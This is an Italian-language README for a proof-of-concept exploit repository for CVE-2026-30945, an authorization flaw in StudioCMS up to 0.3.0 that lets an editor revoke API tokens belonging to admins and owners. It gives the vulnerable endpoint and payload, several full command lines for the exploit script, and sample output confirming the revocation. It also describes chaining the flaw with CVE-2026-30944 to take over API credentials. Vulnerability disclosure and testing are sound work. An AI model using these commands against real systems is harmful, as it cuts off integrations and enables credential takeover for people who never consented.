
Proof-of-concept exploit per CVE-2026-30945, un IDOR in StudioCMS che consente la revoca arbitraria dei token API e il denial of service. Include modalità di test manuale e automatizzata.
StudioCMS IDOR — Revoca Arbitraria di Token API che Porta a Denial of Service
L'endpoint DELETE /studiocms_api/dashboard/api-tokens in StudioCMS ≤ 0.3.0 consente a qualsiasi utente autenticato con privilegi di editor o superiori di revocare token API appartenenti a qualsiasi altro utente, inclusi account admin e owner.
L'handler accetta tokenID e userID direttamente dal payload della richiesta senza verificare la proprietà del token, l'identità del chiamante o la gerarchia dei ruoli. Ciò consente un denial of service mirato contro integrazioni e automazioni critiche.
Correlato: Questa vulnerabilità condivide la stessa causa principale di CVE-2026-30944 (IDOR nella generazione dei token). Se combinate, un attaccante può revocare token legittimi e generarne di nuovi, ottenendo il completo controllo delle credenziali API.
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"<id>", │ │
│ Attaccante │ "userID":"<owner-id>"} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ Server │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ Pipeline │
│ CI/CD del │
│ Owner │──► ❌ 401 Unauthorized
│ Integrazione│──► ❌ Accesso API Perso
│ Monitoraggio│──► ❌ Fallimento Silenzioso
└──────────────┘
| Campo | Valore |
|---|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1 (Alta) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639: Bypass dell'Autorizzazione tramite Chiave Controllata dall'Utente |
| CWE (secondaria) | CWE-863: Autorizzazione Errata |
| MITRE ATT&CK | T1531 — Rimozione dell'Accesso all'Account |
| OWASP API | API1:2023 — Broken Object Level Authorization |
| Affette | studiocms ≤ 0.3.0 |
| Corretta in | studiocms 0.4.0 |
| File | Descrizione |
|---|---|
cve_2026_30945_poc.py | Script di sfruttamento Python con modalità manuale e automatizzata |
README.md | Questo file |
LICENSE | Licenza MIT |
Editorpip install requests colorama
# Revoca un token specifico appartenente all'owner
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# Combina con CVE-2026-30944: crea prima un token per il target
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Salva i risultati in JSON
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# Test con più ruoli
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| Argomento | Descrizione |
|---|---|
-u, --url | URL base di StudioCMS di destinazione |
--target-uuid | UUID dell'utente target di cui verrà revocato il token |
| Argomento | Descrizione |
|---|---|
--token-id | UUID interno del record del token da revocare (non il JWT). Se omesso, lo script tenterà di creare prima un token tramite CVE-2026-30944 |
| Argomento | Descrizione |
|---|---|
--username | Nome utente per l'autenticazione |
--password | Password per l'autenticazione |
| Argomento | Descrizione |
|---|---|
--auto-test | Abilita il test automatizzato multi-ruolo |
--editor-user | Nome utente dell'account Editor |
--editor-pass | Password dell'account Editor |
--visitor-user | Nome utente dell'account Visitor |
--visitor-pass | Password dell'account Visitor |
| Argomento | Descrizione |
|---|---|
--save | Salva i risultati in un file JSON |
--no-ssl-verify | Disabilita la verifica del certificato SSL |
──────────────────────────────────────────────────────────
FASE 1: Autenticazione
──────────────────────────────────────────────────────────
[+] Autenticato come 'editor01'
[*] Utente sessione: editor01 (editor)
[*] UUID sessione: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
FASE 3: Revoca Token (IDOR)
──────────────────────────────────────────────────────────
[*] UUID target: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] ID token: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoca del token API del target...
[+] Token revocato! Risposta del server: Token deleted
[!] VULNERABILITÀ CONFERMATA — Token revocato con successo!
[!] Le integrazioni API dell'utente target sono ora interrotte (DoS)
──────────────────────────────────────────────────────────
FASE 3: Revoca Token (IDOR)
──────────────────────────────────────────────────────────
[*] UUID target: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] ID token: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoca del token API del target...
[*] Accesso negato (403 Forbidden) — l'endpoint potrebbe essere corretto
[-] Revoca fallita: Accesso negato (403 Forbidden)
Se combinata con l'IDOR nella generazione dei token (CVE-2026-30944), un attaccante può eseguire un completo takeover delle credenziali API:
Passo 1: Revoca del token legittimo dell'owner (CVE-2026-30945)
└──► I pipeline CI/CD dell'owner si interrompono silenziosamente